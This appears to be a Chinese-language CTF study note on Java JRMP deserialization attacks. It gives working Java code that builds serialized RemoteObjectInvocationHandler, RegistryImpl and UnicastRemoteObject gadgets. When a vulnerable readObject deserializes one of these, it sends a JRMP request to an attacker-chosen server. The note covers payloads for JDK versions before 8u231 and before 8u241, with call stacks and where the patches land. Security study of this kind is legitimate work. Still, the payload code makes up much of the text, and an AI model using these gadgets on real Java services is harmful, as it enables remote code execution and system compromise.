前言
做题时遇到一题,打JRMP反序列化的,做了才发现先前的RMI反序列化学过,但没完全理清哈哈哈。
参考:https://www.cnblogs.com/zpchcbd/p/14934168.html
先前说的RMI反序列化攻击,都是针对于RMI服务的(入口不是readObject,中间有readObject)。
JRMP反序列化攻击,针对的是有可控反序列化点该怎么打(入口是readObject)。
下面两个攻击手法,都是以readObject为入口,sink点为发送JRMP请求的攻击。根据JDK版本分了两种payload,这两种payload也分别对应RMI攻击中两种版本的绕过。
JDK8u231
8u231之前都可以用这个。
getObj填上JRMP服务器的地址。
private static RemoteObjectInvocationHandler getInvocationHandler(String host,int port) throws Exception{ ObjID id = new ObjID(1); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return new RemoteObjectInvocationHandler(ref); }
|
调用栈与8u231之后的修复
RemoteObject#readObject UnicastRef#readExternal LiveRef#read DGCClient#registerRefs DGCClient$EndpointEntry#registerRefs DGCClient$EndpointEntry#makeDirtyCall DGCImpl_Stub#dirty // JDK8u231之后在这里添加了过滤器 StreamRemoteCall#setObjectInputFilter UnicastRef#invoke StreamRemoteCall#executeCall //发起JRMP请求 readObject
|
其实不一定要用RemoteObjectInvocationHandler,RemoteObject的任意子类都可以,因为子类readObject时会先调用父类的readObject。
比如用RegistryImpl一样可以:
public static void main(String[] args) throws Exception{ ObjID id = new ObjID(1); // RMI registry TCPEndpoint te = new TCPEndpoint("127.0.0.1", 17777); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObject registryImpl = Util.createWithoutConstructor(RegistryImpl.class); Util.setFieldValue(registryImpl,"ref",ref);
Util.unserialize(Util.serialize(registryImpl)); }
|
JDK8u241
8u241之前打这个。
private static RemoteObjectInvocationHandler getInvocationHandler(String host,int port) throws Exception{ ObjID id = new ObjID(1); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return new RemoteObjectInvocationHandler(ref); }
private static UnicastRemoteObject getUnicastRemoteObject(String host, int port) throws Exception{ LiveRef liveRef = new LiveRef(new ObjID(1), new TCPEndpoint(host,port), false); UnicastRef ref = new UnicastRef(liveRef); RemoteObjectInvocationHandler remoteObjectInvocationHandler = getInvocationHandler(host,port);
RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(RMIServerSocketFactory.class.getClassLoader(), new Class[]{RMIServerSocketFactory.class, Remote.class},remoteObjectInvocationHandler );
UnicastRemoteObject unicastRemoteObject = Util.createWithoutConstructor(UnicastRemoteObject.class); Util.setFieldValue(unicastRemoteObject,"ref",ref); Util.setFieldValue(unicastRemoteObject,"ssf",rmiServerSocketFactory); return unicastRemoteObject;
}
|
调用栈与8u241之后的修复
UnicastRemoteObject#readObject reexport ... TCPTransport#listen TCPEndPoint#newServerSocket RemoteObjectInvocationHandler#invoke RemoteObjectInvocationHandler#invokeRemoteMethod //修复位置在这里,下面走不通了 UnicastRef#invoke StreamRemoteCall#executeCall //发送JRMP请求,然后对返回结果readObject
|
其实这个payload 8u241之前包括8u231之前的所有版本都可以打。因为UnicastRemoteObject是RemoteObject的子类,会先调用RemoteObject的readObject,调用完他再调用UnicastRemoteObject的readObject。